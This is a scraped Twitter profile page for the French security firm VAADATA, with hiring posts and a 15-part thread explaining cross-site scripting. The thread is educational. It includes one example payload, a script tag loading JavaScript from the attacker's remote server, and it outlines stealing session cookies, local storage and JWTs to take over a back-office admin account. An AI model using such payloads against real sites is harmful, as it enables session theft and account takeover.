Tweets & replies from @vaadata | teapawt

VAADATA@vaadata2 Jan 2023

Replying to @QU35T_TV @hackthebox_eu

U got this 💪 we’ll be there for support but mostly to cheer up the successes 🎉 Let’s go crush 2023 🙌

1

51

VAADATA@vaadata14 Dec 2022

📣#Hiring : un-e ingénieur-e avant-vente #cybersécurité pour rejoindre notre équipe 🎉👋 Vous accompagnerez nos clients depuis le diagnostic technique de leurs besoins jusqu’à la proposition de solutions adaptées à leur contexte 🤝 👉linkedin.com/jobs/view/33926… #cyberjob

on #recrute : pre-sales cybersecurity engineer

ALT on #recrute : pre-sales cybersecurity engineer

1

VAADATA@vaadata30 Nov 2022

[Hiring 👀] Nous recherchons un-e stagiaire #pentester pour rejoindre notre équipe sur Lyon 🎉👋 L’annonce et toutes les infos → jobs.yeswehack.com/job/pente… #infosecjobs #cyberjob #stage

2

VAADATA retweeted

VAADATA@vaadata25 Oct 2022

XSS, a.k.a (Cross-site Scripting), une vulnérabilité particulièrement répandue sur les applications web : un thread 🧵 1/15 #devweb #websecurite

Cross-Site-Scripting

ALT Cross-Site-Scripting

1

5

VAADATA@vaadata26 Oct 2022

Nous serons à #TechRocks 🤗 Qui sera aussi de la partie ? Allons prendre un café ensemble ☕️ #cto #tech #it

Tech.Rocks@TechRocksFr26 Oct 2022

Ils sont partenaires du Tech.Rocks Summit 2022 ! Nous les remercions de leur confiance et de leur soutien qui nous permettent de vous offrir cette année encore une nouvelle édition Tech.Rocks Summit ! 📅 Réservez votre venue : events.tech.rocks/summit-202…

Image from Tech.Rocks (@TechRocksFr)

VAADATA@vaadata25 Oct 2022

Dans un prochain thread, nous expliquerons comment se prémunir des failles XSS, cependant si vous ne pouvez pas attendre 🤓, vous trouverez plus d’informations ici 👉 vaadata.com/blog/fr/failles-… 15/15

Failles XSS : attaques et bonnes pratiques sécurité

ALT Failles XSS : attaques et bonnes pratiques sécurité

1

VAADATA@vaadata25 Oct 2022

3️⃣ les DOM based XSS : Ce type de XSS est moins connu que les deux précédentes, mais l’idée est que cette attaque est uniquement exécutée coté client sans intervention du serveur. Vous trouverez plus d’informations sur les DOM-XSS ici 👉 vaadata.com/blog/fr/attaques… 14/15

DOM XSS: principes, exploitations, bonnes pratiques sécurité

Les DOM-based XSS sont des failles web particulièrement méconnues. Principes, exploitations, nous détaillons les DOM XSS et les bonnes pratiques sécurité.

1

VAADATA@vaadata25 Oct 2022

2️⃣ les XSS reflétées : Dans ce cas-là, le script malveillant est fourni dans l’URL et repris dans la réponse du serveur. Cette attaque nécessite donc une interaction de l’utilisateur (cliquer sur le lien) 13/15

Schéma attaque XSS reflétée

ALT Schéma attaque XSS reflétée

1

VAADATA@vaadata25 Oct 2022

1️⃣ les XSS stockées : Comme dans l’exemple ci-dessus, le script malveillant (le script src…) sera stocké sur le serveur. Cela aura pour conséquence que tous les utilisateurs qui affichent la donnée non nettoyée exécuteront le script 12/15

Schéma d’une attaque XSS stockée

ALT Schéma d’une attaque XSS stockée

1

VAADATA@vaadata25 Oct 2022

Pour en revenir aux XSS, il faut savoir qu’il en existe 3️⃣ types 11/15

1

VAADATA@vaadata25 Oct 2022

Dans le cas où le back office est filtré par IP, il est toujours possible avec le JavaScript de récupérer toutes les informations de la page (DOM) et aussi d’exécuter les requêtes, donc un attaquant pourra quand même exploiter la XSS 10/15

1

VAADATA@vaadata25 Oct 2022

Comme l’attaquant possède maintenant un jeton de session, il peut maintenant usurper le compte du backoffice et donc être super admin 9/15

Bruteforcer le back office << Avoir une XSS dans le back office et avoir un compte

ALT Bruteforcer le back office << Avoir une XSS dans le back office et avoir un compte

1

VAADATA@vaadata25 Oct 2022

<auto_promo> Si vous ne connaissez pas les #JWT, nous y avons dédié un article, disponible ici 👉 vaadata.com/blog/fr/jetons-j… </auto_promo /> 8/15

1

VAADATA@vaadata25 Oct 2022

Peu après l’attaquant reçoit une alerte, il voit que l’URL est superbackofficecache.sitevulnerable.local (superbe interface superadministrateur), et même s’il n’a pas réussi à voler le cookie de session, il a pu avoir un token JWT d’authentification dans le local storage 7/15

1

VAADATA@vaadata25 Oct 2022

L’algorithme du script est le suivant : · essayer de récupérer le cookie de session (si possible) · récupérer le local storage · récupérer l’URL qui a exécuté le code · prévenir l’attaquant 6/15

1

VAADATA@vaadata25 Oct 2022

Exemple : Une application permet à un utilisateur de saisir son nom d’utilisateur, un attaquant va par exemple saisir le code suivant : 5/15

<script src=‘ressource_sur_mon_serveur_distant.js’></script>

ALT <script src=‘ressource_sur_mon_serveur_distant.js’></script>

1

VAADATA@vaadata25 Oct 2022

Avec du JavaScript interprété, plusieurs scénarios sont possibles comme le vol de session, la récupération d’informations sensibles sur la page… 4/15

XSS pour voler les cookies de sessions

ALT XSS pour voler les cookies de sessions

1

VAADATA@vaadata25 Oct 2022

Mais du coup les XSS ça injecte quoi ? Les attaques XSS vont injecter du code JavaScript qui sera interprété par le navigateur du client 💣 Cette injection va donc cibler les utilisateurs de l’application vulnérable, contrairement à une injection SQL qui va viser le serveur

1

VAADATA@vaadata25 Oct 2022

Qu’est-ce qu’une faille XSS ? Une #XSS est une vulnérabilité de type injection 💉, tout comme les injections SQL L’idée est donc d’injecter du code qui sera interprété 2/15 #codeinjection #vulnerabilité

XSS et SQL injection handshake meme

ALT XSS et SQL injection handshake meme

1

VAADATA@vaadata25 Oct 2022

XSS, a.k.a (Cross-site Scripting), une vulnérabilité particulièrement répandue sur les applications web : un thread 🧵 1/15 #devweb #websecurite

Cross-Site-Scripting

ALT Cross-Site-Scripting

1

5